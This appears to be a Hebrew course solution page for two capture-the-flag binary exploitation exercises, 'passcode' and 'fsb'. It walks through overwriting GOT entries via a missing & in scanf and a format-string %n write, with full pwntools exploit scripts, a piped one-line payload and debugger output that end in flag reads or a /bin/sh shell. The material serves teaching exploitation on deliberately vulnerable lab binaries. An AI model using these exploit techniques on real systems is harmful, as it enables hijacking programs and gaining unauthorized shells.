לדלג לתוכן

5.4 דריסת GOT וחטיפת זרימה פתרון

פתרון - דריסת GOT וחטיפת זרימה

כאן נעבור על הפתרון המלא של שני האתגרים, עם הכתובות המדויקות, פקודות לשחזור, וקוד exploit מלא ב-pwntools. החוט המשותף: בשניהם אנחנו משיגים כתיבה שרירותית - פעם מ-scanf בלי & ופעם מ-%n - ומכוונים אותה מעל תא ב-GOT כדי לחטוף את זרימת התוכנית.

הערה על כתובות: המספרים המדויקים תלויים בעותק הבינארי שלכם. לכן ה-exploit שולף את הכתובות מהבינארי עצמו עם elf.got[...], ואת כתובת ה"ניצחון" מהדיסאסמבלי. אם תריצו על עותק אחר, אותן פקודות יפיקו לכם את הכתובות הנכונות - אל תעתיקו מספר בעיוורון.


פתרון תרגיל 1 - passcode

נזכיר את הבאג המרכזי ב-login:

void login(){
    int passcode1;
    int passcode2;
    printf("enter passcode1 : ");
    scanf("%d", passcode1);   // without & -> passcode1 is used as the target address
    fflush(stdin);            // called immediately -> an excellent overwrite target
    ...
    if(passcode1==338150 && passcode2==13371337){
        printf("Login OK!\n");
        system("/bin/cat flag");
    }
    ...
}

שלב 1 - מיפוי החפיפה בין name ל-passcode1

נפרק את שתי הפונקציות ונחפש את ה-offsets יחסית ל-ebp:

gdb -q ./passcode
pwndbg> disassemble welcome
   ... lea eax, [ebp-0x70] ; <-- name sits at ebp-0x70
   ... call scanf          ; scanf("%100s", name)
pwndbg> disassemble login
   ... mov eax, [ebp-0x10] ; <-- passcode1 sits at ebp-0x10
   ... call scanf          ; scanf("%d", passcode1)
   ... call fflush

ההפרש: 0x70 - 0x10 = 0x60 = 96. כלומר הבתים 96-99 של name הם בדיוק passcode1. נכתוב 96 בתי מילוי ואז 4 בתים שיהיו הכתובת שנרצה ש-passcode1 יחזיק.

שלב 2 - מציאת יעד הדריסה ב-GOT

נדרוס את התא של fflush, כי היא נקראת מיד אחרי ה-scanf הראשון:

objdump -R ./passcode | grep fflush
# 0804a004 R_386_JUMP_SLOT   fflush

הכתובת 0x0804a004 נוחה במיוחד: הבית הנמוך שלה הוא 0x04, שאינו בית לבן, אז scanf("%100s") לא ייעצר עליו. ב-pwntools פשוט נכתוב elf.got['fflush'].

שלב 3 - מציאת כתובת ה"ניצחון"

נפרק את login ונחפש את הקטע שמריץ system("/bin/cat flag"):

objdump -d ./passcode | grep -A2 'call.*system'

הקטע הרלוונטי נראה כך:

080485e3:  mov  DWORD PTR [esp], 0x80487af   ; loads the string "/bin/cat flag"
080485ea:  call 8048440 <system@plt>          ; system("/bin/cat flag")

כתובת ה"ניצחון" היא 0x080485e3 - השורה שטוענת את הארגומנט ומיד אחריה קוראת ל-system. אם נקפוץ לשם, system("/bin/cat flag") ירוץ בלי קשר לבדיקת הסיסמאות. בעשרוני: 0x080485e3 = 134514147.

שלב 4 - ה-exploit המלא

from pwn import *

context.binary = elf = ELF('./passcode')
context.log_level = 'info'

WIN = 0x080485e3   # mov [esp], "/bin/cat flag" ; call system  (from login's disassembly)

p = process('./passcode')      # locally; on the server the binary is run directly

# name: 96 filler bytes + the address of fflush@got -> passcode1 == fflush@got
p.recvuntil(b'name : ')
p.sendline(b'A' * 96 + p32(elf.got['fflush']))

# passcode1 (as decimal %d): the win address -> written into fflush@got
p.recvuntil(b'passcode1 : ')
p.sendline(str(WIN).encode())

# now fflush(stdin) jumps to WIN and runs system("/bin/cat flag")
p.interactive()

על השרת עצמו אפשר גם בלי pwntools, בצינור פשוט:

(python3 -c "import sys; sys.stdout.buffer.write(b'A'*96 + (0x0804a004).to_bytes(4,'little'))"; echo 134514147) | ./passcode

הפלט שנקבל:

enter passcode1 : Login OK!         # (or the flag content directly)
<flag content is printed here>

מה קורה בזמן ריצה

1. scanf("%100s", name) reads 96 'A' and then the bytes \x04\xa0\x04\x08.
   Because of the overlap, passcode1 == 0x0804a004 == fflush@got.
2. scanf("%d", passcode1) writes 134514147 (0x080485e3) to address 0x0804a004.
   In other words fflush@got now points to 0x080485e3.
3. The program calls fflush(stdin) -> jumps through the GOT to 0x080485e3.
4. system("/bin/cat flag") runs there. The flag is printed. We never touched passcode2.

למה זה עבד / איך להכליל: scanf("%d", var) בלי & הפך את הערך של var ליעד כתיבה. שליטה ב-var הושגה מחפיפת מסגרות שכיחה - שתי פונקציות שנקראות ברצף חולקות מחסנית. משם זו דריסת GOT קלאסית: כותבים כתובת קוד מעל תא של פונקציה שתיקרא מיד, וחוטפים את הזרימה לפני כל בדיקה. הבחירה ב-fflush (ולא, נניח, ב-exit שבסוף) חסכה לנו את הצורך לספק passcode2.


פתרון תרגיל 2 - fsb

באתגר fsb יש חולשת format string קלאסית: הקלט שלנו מגיע כמחרוזת format ל-printf-משפחה, בתוך לולאה, ובבינארי יש נתיב שמריץ shell דרך execve. נדגים את מלוא הchain - מציאת ה-offset, בניית הכתיבה עם fmtstr_payload, ודריסת יעד - קודם על בינארי הדמה של ההרצה (שאנחנו שולטים בו במאה אחוז), ואז נסביר איך מתרגמים ל-fsb האמיתי.

שלב 1 - הבינארי הדמה ובדיקת הגנות

נשתמש ב-fmt_demo.c מההרצאה (printf(buf) בתוך לולאה, ופונקציית win שמריצה system("/bin/sh")):

gcc -m32 -fno-stack-protector -no-pie -o fmt_demo fmt_demo.c
checksec ./fmt_demo
Arch:     i386-32-little
RELRO:    Partial RELRO     <-- GOT writable
NX:       NX enabled
PIE:      No PIE            <-- fixed addresses

מצב RELRO חלקי ואין PIE - בדיוק מה שצריך לדריסת GOT ישירה. אלו גם ההגנות הטיפוסיות של fsb האמיתי, אז השיטה זהה.

שלב 2 - מציאת ה-offset של מחרוזת הformat

נשלח סמן וסדרת %p:

$ ./fmt_demo
> AAAA %p %p %p %p %p %p %p %p
AAAA 0xf7fa4d80 0x0 0x80491c5 0x1 0xffffd514 0x41414141 ...

הסמן 0x41414141 חזר בארגומנט השישי במקרה הזה, אז offset = 6. שימו לב: ה-offset הזה תלוי בבינארי ובקומפילציה - תמצאו את שלכם באותה שיטה בדיוק ואל תניחו מספר.

שלב 3 - ה-exploit המלא (דריסת GOT)

from pwn import *

context.binary = elf = ELF('./fmt_demo')
context.log_level = 'info'

offset = 6   # from the experiment with %p

# overwrite printf@got with the address of win: the next call to printf will jump to win
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['win']})

p = process('./fmt_demo')
p.recvuntil(b'> ')
p.sendline(payload)     # the vulnerable printf performs the (%n) writes to the GOT

# on the next round printf("> ") already jumps to win -> system("/bin/sh")
p.interactive()

הפונקציה fmtstr_payload מרכיבה מחרוזת עם כתובות היעד בתחילתה ואחריהן רצף %<width>c ו-%offset$hhn שכותב בית-בית. אנחנו לא צריכים לחשב שום רוחב ידנית.

תרגום ל-fsb האמיתי

באתגר fsb הchain זהה, עם שני הבדלים שצריך לברר על הבינארי הספציפי:

  • מצא את ה-offset באותה שיטת %p.
  • בחר יעד. שתי אפשרויות מקבילות:

אפשרות א - דריסת GOT אל נתיב ה-execve. מוצאים בדיסאסמבלי את הכתובת של הקטע שמריץ execve("/bin/sh", ...), ומוצאים תא GOT של פונקציה שנקראת בסבב הלולאה הבא:

payload = fmtstr_payload(offset, {elf.got['<function_in_loop>']: EXECVE_CODE_ADDR})

אפשרות ב - דריסת המשתנה key כדי שהתנאי יתקיים והתוכנית עצמה תריץ shell:

payload = fmtstr_payload(offset, {elf.symbols['key']: EXPECTED_KEY_VALUE})

בשתי האפשרויות שולחים את ה-payload פעם אחת, ואז - תלוי במבנה - או שהקריאה הבאה בלולאה מבצעת את הקפיצה (אפשרות א), או שהתנאי מתקיים ומוביל ל-execve (אפשרות ב). אחר כך:

p.interactive()   # we have shell -> cat flag

למה זה עבד / איך להכליל: חולשת format string עם %n היא כתיבה שרירותית מלאה - ערך כלשהו לכתובת כלשהי. ברגע שיש כתיבה כזו, דריסת GOT היא הדרך הישירה לחטיפת זרימה: כותבים כתובת קוד מעל תא של פונקציה שתיקרא בקרוב (בלולאה - כמעט מיד). דריסת key היא אותו פרימיטיב מכוון ליעד נתונים במקום ליעד קוד. fmtstr_payload הופך את החלק המכני (רוחב, פיצול לבתים, סדר כתובות) לשורה אחת, וכל מה שנשאר לנו הוא למצוא את ה-offset ולבחור יעד.


הכללה - מה מחבר את שני האתגרים

  • האתגרים passcode ו-fsb מגיעים משני באגים רחוקים - שכחת & ב-scanf מול printf(buf) - אבל שניהם מייצרים את אותו פרימיטיב: כתיבה של ערך שאנחנו שולטים בו לכתובת שאנחנו שולטים בה.
  • ברגע שיש כתיבה שרירותית, ה-GOT הוא היעד המתבקש: הוא כתיב (RELRO חלקי), נקרא בעקיפין, ולא מוגן ב-canary. כותבים כתובת של קוד ניצחון קיים מעל תא של פונקציה שעומדת להיקרא, וחוטפים את הזרימה.
  • החוט המשותף במחקר חולשות: אל תעצרו ב"יש לי כתיבה". השאלה הבאה תמיד היא "לאיזו כתובת הכי משתלם לכתוב כדי להפוך את הכתיבה לשליטה בזרימה?" - וה-GOT הוא לרוב התשובה הראשונה שבודקים.